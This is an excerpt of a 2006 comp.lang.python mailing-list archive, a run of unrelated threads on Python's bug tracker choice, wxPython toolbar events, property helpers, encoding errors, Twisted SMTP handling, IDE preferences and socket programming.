07:49:59 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: skip at pobox.com wrote: > Giovanni> Are bug-tracker configuration issues so critical that > having Giovanni> to wait 48-72hrs to have them fixed is > absolutely unacceptable Giovanni> for Python development? > > Yes, I think that would put a crimp in things. The downtimes we see > for the SourceForge tracker tend to be of much shorter duration than > that (typically a few hours) and cause usually minor problems when > they occur. For the tracker to be down for 2-3 days would make the I was actually thinking of 48-72hrs to do regulard admin work like installing latest security patch or actrivate a new account. > developers temporarily blind to all outstanding bug reports and > patches during that time and prevent non-developers from submitting > new bugs, patches and comments. Those people might well forget about > their desired submission altogether and not return to submit them > once the tracker was back up. I understand your concerns, but I have to remember you that most bug reports submitted by users go totally ignored for several years, or, better, forever. I do not have a correct statistic for this, but I'm confident that at least 80% of the RFE or patches filed every week is totally ignored, and probably at least 50% of the bugs too. I think there is a much bigger problem here wrt QOS. So, you might prefer 6-10 people to activate a new tracker account faster than light. I'd rather have 3-days delay in administrative issues because our single administrator is sleeping or whatever, and then have 2-3 people doing regular bug processing. -- Giovanni Bajo From g.franzkowiak at onlinehome.de Sun Oct 29 12:14:23 2006 From: g.franzkowiak at onlinehome.de (g.franzkowiak) Date: Sun, 29 Oct 2006 18:14:23 +0100 Subject: wx.EVT_TOOL_RCLICKED Message-ID: Hi everybody, I want use wx.EVT_TOOL_RCLICKED for an toolbar, but I've got no responcses under Linux. The following part works under MSW, but under Linux..., the "wx.EVT_TOOL_RCLICKED" generate nothing: tb.AddTool(TB_ID, './*.png',isToggle=True) self.Bind(wx.EVT_TOOL, self.OnToolLeftClick, id=TB_ID) self.Bind(wx.EVT_TOOL_RCLICKED, self.OnToolRightClick, id=TB_ID) Can somebody help ? gerd PS: System parts: wxPython 2.6.3.2 (wxGTK, unicode, gtk2, wx-assertions-off, SWIG-1.3.27) Running on Python 2.3.5 AND wxPython 2.6.1.2pre (wxGTK, unicode, gtk2, wx-assertions-off) Running on Python 2.4.3 From mail at microcorp.co.za Wed Oct 11 00:57:31 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 11 Oct 2006 06:57:31 +0200 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: <007c01c6ecf1$c2710ca0$03000080@hendrik> "Fredrik Lundh" wrote: > Nick Vatamaniuc wrote: > > > At the same time one could claim that Python already has certain > > policies that makes it seem as if it has a component model. 8<---------------------------------------------------------------------------- > implementing this using existing mechanisms is trivial (as the endless > stream of interface/component/adapter/trait implementations have shown > us); coming up with a good-enough-to-be-useful-for-enough-people > vocabulary is a lot harder. not sure if its trivial - but agree about the generality - my meat is your poison effect operating here - and also - standards are not per se a *Good Thing* - they stifle both inventiveness and diversity... - Hendrik From fred at adventistcare.org Thu Oct 5 13:05:11 2006 From: fred at adventistcare.org (Sells, Fred) Date: Thu, 5 Oct 2006 13:05:11 -0400 Subject: Where is Python in the scheme of things? Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2C5@accmail2.sunbelt.org> Every C++ and Java programmer that I know, who have done a moderate sized project in Python (thus requiring learning it's strengths) states that they hope to never go back to C++ or Java. I cannot comment on VB programmers, since I don't speak to them ;) From steven.klass at gmail.com Wed Oct 11 10:59:40 2006 From: steven.klass at gmail.com (rh0dium) Date: 11 Oct 2006 07:59:40 -0700 Subject: default variable in python $_ In-Reply-To: <1160552922.041176.283170@e3g2000cwe.googlegroups.com> References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com> <1160552922.041176.283170@e3g2000cwe.googlegroups.com> Message-ID: <1160578780.804058.144730@h48g2000cwc.googlegroups.com> Hi Maria, This is exactly what I was looking for. I (as others have asked me to) cleared my head of the other languages, but was mearly giving perl as an example indicating the compactness I was after. Thanks Maria!! MaR wrote: > rh0dium wrote: > > Hi all, > > > > So I have this simple little routine.. say like this.. > > > > > > def foo() > > return {"a":"b", "b":"c"} > > > > if foo(): > > print "Have foo" > > > > > > Now I want the dictionary item a (ie. b) > > > > How can I do it the above way or do I still have to go like this.. > > > > def foo() > > return {"a":"b", "b":"c"} > > > > z = foo() > > if z: > > print "Have foo" > > print z['a'] > > > > This is where $_ in perl is awesome - There must be a default variable > > in python right? > > As said in earlier response, such a default variable is *dangerous* at > best! > Not knowing much about Perl and guessing that the $_ is a global > storage space, my immediate thought is; What happens if you have > multiple threads? > > The example is too simplified to give any clues as to what you are > needing the feature for. > Guessing that you want to generate some dict() and use the result once > and then discard, write: > > foo_default = 1 > def foo(): return(generate_some_dict()) > > you can further write > > foo().get('a', foo_default) > > giving compact code and ensuring that you get a well defined result > regardless what dictionary keys there are. From pavlovevidence at gmail.com Wed Oct 18 04:27:37 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 18 Oct 2006 01:27:37 -0700 Subject: creating many similar properties In-Reply-To: <1161158181.103138.294330@b28g2000cwb.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> Message-ID: <1161160057.392965.323330@m73g2000cwd.googlegroups.com> George Sakkis wrote: > Michele Simionato wrote: > > import sys > > > > def defprop(name, default=127): > > loc = sys._getframe(1).f_locals > > prop = '_%s' % name > > def _set(self, v): > > v_new = v % 256 > > setattr(self, prop, v_new) > > def _get(self): > > return getattr(self, prop, default) > > loc[name] = property(_get, _set) > > > > class RC(object): > > defprop('pwm01') > > defprop('pwm02') > > > > rc = RC() > > > > print rc.pwm01 # 127 > > print rc.pwm02 # 127 > > rc.pwm02 = 1312 > > print rc.pwm02 # 32 > > > > This is a bit hackish, but I would prefer this over a metaclass > > solution. since it does not add > > any hidden magic to your class. > > Why is this less hidden or magical than a metaclass ? Devil's Advocate: he did say "hidden magic TO YOUR CLASS". If you use a (real) metaclass, then you have the icky feeling of a class permanently tainted by the unclean metaclass (even though the metaclass does nothing other than touch the class dict upon creation); whereas if you use Michele Simionato's hack, the icky feeling of using a stack frame object goes away after the property is created: you are left with a clean untainted class. Personally, the former doesn't make me feel icky at all. Carl Banks From martin at v.loewis.de Wed Oct 4 02:13:14 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 08:13:14 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <7xven097pk.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <7x1wppk21c.fsf@ruckus.brouhaha.com> <4522c0f4$0$29116$9b622d9e@news.freenet.de> <7xven097pk.fsf@ruckus.brouhaha.com> Message-ID: <452350FA.5030005@v.loewis.de> Paul Rubin schrieb: > "Martin v. L?wis" writes: >> It is a fork of an old version. Existence of this version hasn't helped >> a bit when we tried to get our data out of sf.net. > > Yeah, I'd guessed it might be a fork. Is there stuff in sf.net that a > web robot can't retrieve? We ended up getting the data with a web robot. There were two problems: 1. SF times out all the time, and fetching the data takes quite some time (not sure how long Fredrik Lundh needed, but I recall that Richard Jones once needed several days to get all data). There is also the theory that SF will lock out clients that fetch data at a too-high rate, so when you get locked out, you need to wait some time until you can continue; what rate is acceptable is not documented. 2. The web view gets HTML wrong in many places; things are rendered as HTML entity references when really the character should be displayed itself; non-ASCII characters don't work well. It might be that having the raw data would allow for better quality. There used to be another problem that SF was inconsistent on displaying user names (sometimes, account names were displayed, and sometimes real names), but that seems not to be a problem anymore. Regards, Martin From onurb at xiludom.gro Tue Oct 24 08:40:36 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 14:40:36 +0200 Subject: A py2exe like tool for Linux In-Reply-To: References: Message-ID: <453e09c5$0$12351$426a74cc@news.free.fr> Paolo Pantaleo wrote: > Hi, > > is thre something like py2exe for Linux? I don't need to build a > standalone executable (most Linuxes have python instaled), but at > least I need to provide all the needed libraries togheter with my > source code, so users just need to download one file, and not several > libraries. Then google for easy_install + "python-eggs". -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Mon Oct 16 13:56:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 19:56:03 +0200 Subject: OT: What's up with the starship? In-Reply-To: <1160983523.518768.16110@e3g2000cwe.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> Message-ID: rurpy at yahoo.com wrote: > But, I am still completely at a loss why you, he, or anyone, > based on the information presented so far,.would conclude > that the python security problem is unrelated. Because he's read the security advisory, perhaps, and understands what it says? From aahz at pythoncraft.com Sat Oct 7 10:14:38 2006 From: aahz at pythoncraft.com (Aahz) Date: 7 Oct 2006 07:14:38 -0700 Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160201214.367444.250270@i42g2000cwa.googlegroups.com> Message-ID: In article <1160201214.367444.250270 at i42g2000cwa.googlegroups.com>, John Machin wrote: >Aahz wrote: >> In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>, >> MonkeeSage wrote: >>>On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: >>>> >>>> The following line of lightly munged code was found in a publicly >>>> available Python library... >>> >>>Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh), >>>which was written by the very finger of God when the world was still in >>>chaotic darkness. >> >> Did you actually analyze the line of code? Particularly WRT the way it >> operates in different versions of Python? > >A comment on the "style" issue, before we get into the real WTF >analysis: any function/method whose name begins with "has" or "is" >returns an honest-to-goodness actual bool (or what passed for one in >former times). IMHO, any comparison with [] being regarded as false and >[0] being regarded as true is irrelevant, and writing "has_something() >== False" or "has_something() is False" is utterly ludicrous. Exactly. Another way of putting this: it's so wrong, it isn't even wrong. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From gagsl-py at yahoo.com.ar Thu Oct 5 02:38:30 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 03:38:30 -0300 Subject: Hands on Documentation for Python methods and Library In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local .net> References: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local.net> Message-ID: <7.0.1.0.0.20061005032956.01d2e588@yahoo.com.ar> At Thursday 5/10/2006 01:54, Wijaya Edward wrote: >One can do the following with Perl > >$ perldoc -f chomp >$ perldoc -f function_name > >or > >$ perldoc List::MoreUtils >$ perldoc Some::Module > >Can we do the same thing in Python? s/perl/py/g See the pydoc module. Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From python.list at tim.thechases.com Mon Oct 16 15:10:50 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Mon, 16 Oct 2006 14:10:50 -0500 Subject: Need a strange sort method... In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: <4533D93A.8090102@tim.thechases.com> > for example: > a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order > > def cmp(i,j): #to be defined in this thread. Well, if you're willing to give up doing it in a cmp() method, you can do it as such: >>> a.sort() >>> chunk_size = 3 >>> [a[i::chunk_size] for i in range(chunk_size)] [[1, 4, 7, 10], [2, 5, 8], [3, 6, 9]] If you need it in a flat list, rather than as a list of chunk_size lists (which are handy for iterating over in many cases), there are ways of obtaining it, such as the hackish >>> sum([a[i::chunk_size] for i in range(chunk_size)], []) [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] There are likely good recipes for flattening a list. I just happen not to have any at my fingertips. I'm not sure it's possible to do in a cmp() method, given that it requires apriori knowledge of the dataset (are the numbers contiguous?). Unless, of course, you have such a list... However, as a benefit, this method should work no matter what the list contains, as long as they're comparable to each other for an initial sorting: >>> a = [chr(ord('a') + i) for i in range(10)] >>> # a.sort() if it were needed >>> a ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] >>> sum([a[i::chunk_size] for i in range(chunk_size)], []) ['a', 'd', 'g', 'j', 'b', 'e', 'h', 'c', 'f', 'i'] -tkc From jakobsg at gmail.com Tue Oct 3 02:59:18 2006 From: jakobsg at gmail.com (jakobsg at gmail.com) Date: 2 Oct 2006 23:59:18 -0700 Subject: Determin network interface In-Reply-To: References: <1159828540.208599.187310@m73g2000cwd.googlegroups.com> Message-ID: <1159858758.605948.247100@m7g2000cwm.googlegroups.com> Thanks a bunch! That is just what I was looking for ! Best regards Jakob Bryan Olson skrev: > jakobsg at gmail.com wrote: > > Hi. How can I determin the hwaddr or ipaddress of the networkinterface > > that is used in an outgoing connection? > > Is sock_object.getsockname() enough? > > http://docs.python.org/lib/socket-objects.html > > > -- > --Bryan From sachinpunjabi at gmail.com Mon Oct 30 02:30:24 2006 From: sachinpunjabi at gmail.com (Sachin Punjabi) Date: 29 Oct 2006 23:30:24 -0800 Subject: Lookuperror : unknown encoding : utf-8 Message-ID: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> Hi, I wanted to read a file encoded in utf-8 and and using the following syntax in my source which throws me an error specifying Lookuperror : unknown encoding : utf-8. Also I am working on Python version 2.4.1. import codecs fileObj = codecs.open( "data.txt", "r", "utf-8" ) Can anyone please guide me how do I get utf-8 activated in my codecs or any setting needs to be done for the same before using codecs. Regards Sachin Punjabi. From http Sat Oct 14 19:09:49 2006 From: http (Paul Rubin) Date: 14 Oct 2006 16:09:49 -0700 Subject: Ok. This IS homework ... References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: <7x4pu6cx4y.fsf@ruckus.brouhaha.com> "spawn" writes: > That's not the problem, in fact, that part works. It's the adding > that isn't working. How can my program add 2 + 7 and come up with 14? > while running: > guess = int(raw_input('I\'ll need another number : ')) > running_total = guess + subtotal > print running_total You are never modifying the running total. I think you want to initialize the running total to the first guess outside the loop, then add guess to it when you read a new number. You can add to a variable like this: running_total += guess this is approx. the same thing as running_total = running_total + guess I don't think subtotal and running_total need to be separate variables. From exarkun at divmod.com Fri Oct 20 11:47:11 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Fri, 20 Oct 2006 11:47:11 -0400 Subject: Newbie: trying to twist my head around twisted (and python) In-Reply-To: <12ivgjjsgbq6t31@corp.supernews.com> Message-ID: <20061020154711.26151.1548676514.divmod.quotient.8141@ohm> On Fri, 13 Oct 2006 18:44:35 +0200, Jan Bakuwel wrote: >Jean-Paul Calderone wrote: > >> The return value of eomReceived is used to determine whether to signal to >> the SMTP client whether the message has been accepted. Regardless of your >> application logic, if you are taking responsibility for the message, you >> should return a successful result. If all of your processing is >> synchronous, >> then you simply need to return twisted.internet.defer.succeed(None) at the >> end of the function. If you have asynchronous processing to do (it does >> not >> appear as though you do), you will need to return a Deferred which only >> fires >> once that processing has been completed. > >There's still a bit of mystery in here for me... >I'll be taking responsibility for the message in my code... but perhaps >my code encounters a non resolvable error (such as disc full). In that >case I would like to be able to signal a failure instead of success. > >Would the following code do the job "properly"? > > def eomReceived(self): > # message is complete, store it > self.lines.append('') # add a trailing newline > messageData = '\n'.join(self.lines) > emailMessage = message_from_string(messageData) > try: > processEmail(emailMessage) > return defer.succeed(None) > except: > return defer.fail > #end eomReceived Close. Return defer.fail() and it's basically correct. Sorry for the delayed response, python-list is high enough traffic that tracking down followups is kind of a hassle. You might want to move over to the Twisted list for further Twisted questions. Jean-Paul From jeremy+complangpython at jeremysanders.net Mon Oct 30 15:19:54 2006 From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders) Date: Mon, 30 Oct 2006 20:19:54 +0000 Subject: Python 123 introduction References: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> Message-ID: skip at pobox.com wrote: > I'm not trying to minimize Jeremy's efforts in any way, but how is his > tutorial a significant improvement over the original > (http://www.python.org/doc/current/tut/)? It's not intended as a replacement, but what I wanted to do was write a quick 2 hour course for people to work through. It overlaps quite a bit with the tutorial, but I tried to minimise any detail. I just publicised it in case anybody wanted something similar. Jeremy -- Jeremy Sanders http://www.jeremysanders.net/ From ilias at lazaridis.com Fri Oct 6 19:08:26 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 6 Oct 2006 16:08:26 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> <1160075219.326684.170770@k70g2000cwa.googlegroups.com> Message-ID: <1160176106.078829.303980@i42g2000cwa.googlegroups.com> Michael Str?der wrote: > Ilias Lazaridis wrote: > > > > You need just 2 active contributors - and the python community, not > > more > > Hmm, this number does not say much. It really depends on the required > service level and how much time these two people can spend for > maintaining the tracker service. that was not the essence of the sentence, see full context: [REQUOTE] You need just 2 active contributors - and the python community, not more (it's open source - so do some plumbing yourself, even if you are the Python Foundation). Alternatively, why don't you place an requirement "active open source project which can process request from the foundation"? Because this could have a negative influence on selecting Roundup? (this is the reverse selection process. Select the candidate and adjust the requirements). [/REQUOTE] From no-spam at no-spam-no-spam.com Mon Oct 30 12:21:17 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Mon, 30 Oct 2006 18:21:17 +0100 Subject: create global variables? In-Reply-To: References: Message-ID: Alistair King wrote: > Hi, > > is there a simple way of creating global variables within a function? > #module global: def f(atom): global a a=1 globals()[atom+'var']=2 def f(): a=b=1 globals().update(locals()) _global=sys.modules[__name__] def f(atom): _global.a = 1 setattr(_global,atom+'var', 2) # all/app global import myglobals def f(atom): myglobals.a=1 setattr(myglobals....) your example application seems to point towards 'odd' use of these techniques. -robert From hanumizzle at gmail.com Fri Oct 13 10:37:53 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 10:37:53 -0400 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <463ff4860610130737r5863727fje03f8d5dfe20e4eb@mail.gmail.com> On 13 Oct 2006 07:29:09 -0700, Ahmer wrote: > What do you guys use? > Why? > What do you like and hate about it? > What platform(s) is it avalable on? > How much does it cost? > etc. I use GNU Emacs 22 and a screen session. Advantages: * Comprehensive, comprehensive, comprehensive...tags support, Subversion integration, syntax highlighting, sophisticated indentation, whatever I want basically * Resource-light, contrary to the preconceived opinions some have of Emacs * Keyboard-oriented; ergonomic and fast (Xfce is set up to switch desktops by key as well) * Available on any major platform that you would want to use Python on * And it's free Disadvantages: * No UI builder...for this you can use Glade or maybe Boa Constructor * Not many else...none other that I can think of right now, actually -- Theerasak From onurb at xiludom.gro Wed Oct 11 12:10:52 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 18:10:52 +0200 Subject: Regular expression worries In-Reply-To: <1160581598.414778.11850@h48g2000cwc.googlegroups.com> References: <1160581598.414778.11850@h48g2000cwc.googlegroups.com> Message-ID: <452d178d$0$8106$426a34cc@news.free.fr> CSUIDL PROGRAMMEr wrote: > folks > I am new to python, so excuse me if i am asking stupid questions. >From what I see, you seem to be new to programming in general !-) > I have a txt file and here are some lines of it > > Document Keyword > Keyword Keyword > Keyword > Keyword Keyword Keyword > Keyword Keyword Keyword > I am writing a python program to replace the tags and word Document > with Doc. > > Here is my python program > > #! /usr/local/bin/python > > import sys > import string > import re > > def replace(): > filename='/root/Desktop/project/chatlog_20060819_110043.xml.txt' > try: > fh=open(filename,'r') > except: > print 'file not opened' > sys.exit(1) You open your file a first time, and bind the reference to the file object to fh. > for l in > open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'): And then you open the file a second time... > l=l.replace("Document", "DOC") This modifies the string referenced by l (talk about a bad name) and rebind to the same name > fh.close() Then you close fh... and discard the modifications to l. > if __name__=="__main__": > replace() > > But it does not replace Document with Doc in the txt file Why should it ? You didn't asked for it !-) > Is there anything wrong i am doing Yes. The canonical way to modify a text file is to read from original / do transformations / *write modifications to a tmp file* / replace the original with the tmp file. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fumanchu at amor.org Sun Oct 8 17:50:37 2006 From: fumanchu at amor.org (fumanchu) Date: 8 Oct 2006 14:50:37 -0700 Subject: WSGI - How Does It Affect Me? References: Message-ID: <1160344237.314657.46890@i3g2000cwc.googlegroups.com> Gregory Pi?ero wrote: > Examples of how frameworks don't meet my needs sometimes: > 1. Working with SQL Server (Most frameworks seem to at least make it extra work) I don't know about "most frameworks", but there are certainly some that work with SQL Server. My Dejavu ORM does SQL Server and MS Access (among others): http://projects.amor.org/dejavu > 2. Need web app to get data from other programs via API (eg QuickBooks) > Can any web framework work happily with win32 extensions? I use win32 extensions quite happily with Dejavu (and CherryPy). I've got a similar situation with The Raiser's Edge from Blackbaud: reads are done via SQL Server (for speed) and writes are done via their COM interfaces. In fact, we were looking at using Quickbooks for that but made our decision about 2 months before Intuit announced their first open API. :/ > 3. Using IIS at all for that matter, does WSGI work on IIS, do any frameworks? They can with some work. When I first started coding for/with CherryPy, I wrote a WSGI adapter for ASP: http://projects.amor.org/misc/wiki/ASPGateway (I've since switched to Apache2 on Windows, but that code should still work). I believe there's a WSGI-ISAPI adapter somewhere out there... last time I looked, it didn't do SSL or multithreading yet. Robert Brewer System Architect Amor Ministries fumanchu at amor.org From leo.kislov at gmail.com Wed Oct 18 17:44:49 2006 From: leo.kislov at gmail.com (Leo Kislov) Date: Wed, 18 Oct 2006 14:44:49 -0700 Subject: right curly quote and unicode Message-ID: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com> On 10/17/06, TiNo wrote: > Hi all, > > I am trying to compare my Itunes Library xml to the actual files on my > computer. > As the xml file is in UTF-8 encoding, I decided to do the comparison of the > filenames in that encoding. > It all works, except with one file. It is named 'The Chemical > Brothers-Elektrobank-04 - Don't Stop the Rock (Electronic Battle Weapon > Version).mp3'. It goes wrong with the apostrophe in Don't. That is actually > not an apostrophe, but ASCII char 180: ? It's actually Unicode char #180, not ASCII. ASCII characters are in 0..127 range. > In the Itunes library it is encoded as: Don%E2%80%99t Looks like a utf-8 encoded string, then encoded like an url. > I do some some conversions with both the library path names and the folder > path names. Here is the code: > (in the comment I dispay how the Don't part looks. I got this using print > repr(filename)) > ------------------------------------------------------------- > #Once I have the filenames from the library I clean them using the following > code (as filenames are in the format ' > file://localhost/m:/music/track%20name.mp3') > > filename = urlparse.urlparse(filename)[2][1:] # u'Don%E2%80%99t' ; side > question, anybody who nows a way to do this in a more fashionable way? > filename = urllib.unquote (filename) # u'Don\xe2\x80\x99t' This doesn't work for me in python 2.4, unquote expects str type, not unicode. So it should be: filename = urllib.unquote(filename.encode('ascii')).decode('utf-8') > filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t' > > I get the files in my music folder with the os.walk method and then > I do: > > filename = os.path.normpath(os.path.join (root,name)) # 'Don\x92t' > filename = unicode(filename,'latin1') # u'Don\x92t' > filename = filename.encode('utf-8') # 'Don\xc2\x92t' > filename = unicode(filename,'latin1') # u'Don\xc2\x92t' This looks like calling random methods with random parameters :) Python is able to return you unicode file names right away, you just need to pass input parameters as unicode strings: >>> os.listdir(u"/") [u'alarm', u'ARCSOFT' ...] So in your case you need to make sure the start directory parameter for walk function is unicode. From steve at holdenweb.com Thu Oct 12 22:41:17 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Oct 2006 03:41:17 +0100 Subject: Python component model In-Reply-To: <1160689455.771396.178430@h48g2000cwc.googlegroups.com> References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <12itd1as7dg9jdd@corp.supernews.com> <1160689455.771396.178430@h48g2000cwc.googlegroups.com> Message-ID: <452EFCCD.5010008@holdenweb.com> Paul Boddie wrote: > I'm not at the cutting edge here: 20j and 20k are the commands (replace > 20 with another suitable amount) which help me jump around in my editor > of choice. The other commands which may be more effective just aren't > in my "working set". > You *might* find CTRL/U and CTRL/D helpful ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From maxm at mxm.dk Sun Oct 1 12:09:58 2006 From: maxm at mxm.dk (Max M) Date: Sun, 01 Oct 2006 18:09:58 +0200 Subject: builtin regular expressions? In-Reply-To: References: <451e37a5$1@news.vo.lu> Message-ID: <451fe857$0$14043$edfadb0f@dread15.news.tele.dk> Jorgen Grahn skrev: > On Sat, 30 Sep 2006 20:01:57 +0100, Thorsten Kampe wrote: >> And the simple reason why Regular Expressions are not a part of the >> core Python language is that Regular Expressions are overrated. > > It seems to me they are currently /underrated/ in the Python community. Or, > I suspect, everybody disrespects them in public but secretly use them when > they're hacking ;-) When I used to program in Perl I used regex' for lots of stuff. In python I probably use them once every half year. I sinply do not need them. Max M From skip at pobox.com Tue Oct 31 19:16:03 2006 From: skip at pobox.com (skip at pobox.com) Date: Tue, 31 Oct 2006 18:16:03 -0600 Subject: "best" rational number library for Python? In-Reply-To: <1162334329.429582.136710@e64g2000cwd.googlegroups.com> References: <1162332835.005490.38220@b28g2000cwb.googlegroups.com> <1162334329.429582.136710@e64g2000cwd.googlegroups.com> Message-ID: <17735.59203.790092.635942@montanaro.dyndns.org> >> I just compiled GMP 4.2.1 on a P4 using >> >> $ CFLAGS="" CC=gcc ./configure >> $ gmake; gmake check >> casevh> You must use "gmake". "make" fails during "make check" Very weird: piggy:% make -v GNU Make 3.80 Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. piggy:% gmake -v GNU Make 3.80 Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Nevertheless, using "gmake" instead of "make" did indeed work. Thanks for the hint. Skip From irmen.NOSPAM at xs4all.nl Sun Oct 22 13:00:22 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Sun, 22 Oct 2006 19:00:22 +0200 Subject: Socket module bug on OpenVMS Message-ID: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> Hi, Recently I was bitten by an apparent bug in the BSD socket layer on Open VMS. Specifically, it appears that VMS defines MSG_WAITALL in socket.h but does not implement it (it is not in the documentation). And I use the socket.MSG_WAITALL flag on my recv() calls... and then they crash on OpenVMS. I don't have access to an OpenVMS machine myself so could someone else that has (or has more knowledge of it) shed some light on it? This also raises the question to what extent Python itself should work around platform specific "peculiarities", such as this one. There's another problem with socket code on Windows and VMS systems, where you get strange exceptions when using a "too big" recv() buffer. Things like this force me into writing all sorts of error checking code or platform specific functions, to work around these bugs. Just for what was supposed to be a simple socket recv() and a simple socket send()... In my opinion Python's socket module itself could implement these workarounds. That would make user code a lot cleaner and less error prone, and more portable. What do other people think? Regards --Irmen de Jong From clodoaldo.pinto at gmail.com Mon Oct 16 12:46:55 2006 From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto) Date: 16 Oct 2006 09:46:55 -0700 Subject: Output from subprocess.Popen() In-Reply-To: <0Rl*4ootr@news.chiark.greenend.org.uk> References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> <1160928257.204029.99580@m7g2000cwm.googlegroups.com> <0Rl*4ootr@news.chiark.greenend.org.uk> Message-ID: <1161017215.083211.188030@m7g2000cwm.googlegroups.com> Now we have 3 different outputs from 3 people to the command: >>> f = subprocess.Popen("set | grep IFS", shell=True, stdout=subprocess.PIPE) >>> f.stdout.readlines() >From me on FC5: ["BASH_EXECUTION_STRING='set | grep IFS'\n", "IFS=' \t\n"] >From Fredrik Lundh on unknown OS: ["IFS=$' \\t\\n'\n"] >From Sion Arrowsmith on Debian 1:3.3.5-12: ["IFS=' \t\n"] I found this problem while developing a CGI shell: http://code.google.com/p/cgpy-shell/ Although the cgi-shell is working quite well, this issue is a show stopper for that project. I need a stable/reliable output from Popen(). It looks like each bash or sh version outputs things differently, with different escaping. It is not a problem if there is only one or more than one line in the returned list as i will always get the last one. The problem is the escaping. From steve at holdenweb.com Fri Oct 27 01:42:23 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 27 Oct 2006 06:42:23 +0100 Subject: To Stop a Process that is Waiting on socket.accept() In-Reply-To: <1161926712.933304.74090@e3g2000cwe.googlegroups.com> References: <1161926712.933304.74090@e3g2000cwe.googlegroups.com> Message-ID: mumebuhi wrote: > I am having problem to kill the following script completely. The script > basically does the following. The main thread creates a new thread, > which does a completely useless thing, and then starts excepting for a > connection via socket. > > # start > import pickle > import signal > import simplejson > import socket > import sys > import threading > import time > > counter = 0 > > class WorkerThread(threading.Thread): > def run(self): > global counter > while True: > counter += 1 > time.sleep(10) > > worker_thread = WorkerThread() > worker_thread.start() 